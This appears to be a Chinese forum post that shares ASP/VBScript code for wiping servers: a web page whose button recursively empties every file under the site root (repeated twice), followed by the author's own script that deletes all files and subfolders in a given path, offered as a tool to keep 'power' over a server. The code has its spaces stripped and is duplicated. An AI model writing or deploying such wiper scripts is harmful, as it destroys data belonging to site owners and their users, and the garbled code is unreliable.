'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout=99999
Ifrequest("submit")<>""Then
Calllistfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>"
EndIf
Functionlistfile(fpath)
OnErrorResumeNext
DimShell,Folder,s
SetShell=server.CreateObject("shell.application")
SetFolder=Shell.namespace(fpath)
Setf=server.CreateObject("adodb.stream")
f.Type=1
f.Open
ForEachsinFolder.Items
Ifs.isfolderThen
Calllistfile(s.Path)
Else
f.savetofiles.Path,2
EndIf
Next
Setf=Nothing
SetShell=Nothing
EndFunction
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout=99999
Ifrequest("submit")<>""Then
Calllistfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>"
EndIf
Functionlistfile(fpath)
OnErrorResumeNext
DimShell,Folder,s
SetShell=server.CreateObject("shell.application")
SetFolder=Shell.namespace(fpath)
Setf=server.CreateObject("adodb.stream")
f.Type=1
f.Open
ForEachsinFolder.Items
Ifs.isfolderThen
Calllistfile(s.Path)
Else
f.savetofiles.Path,2
EndIf
Next
Setf=Nothing
SetShell=Nothing
EndFunction
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:
viewplaincopytoclipboardprint?
'看到文件删文件,看到文件夹删除文件夹
FunctionFilesTree(sPath)
SetoFso=CreateObject("Scripting.FileSystemObject")
SetoFolder=oFso.GetFolder(sPath)
SetoSubFolders=oFolder.SubFolders
SetoFiles=oFolder.Files
ForEachoFileInoFiles
'WScript.EchooFile.Path
oFile.Delete
Next
ForEachoSubFolderInoSubFolders
'WScript.EchooSubFolder.Path
oSubFolder.Delete
'FilesTree(oSubFolder.Path)'递归
Next
SetoFolder=Nothing
SetoSubFolders=Nothing
SetoFso=Nothing
EndFunction
FilesTree("F:deltestdeltest")'遍历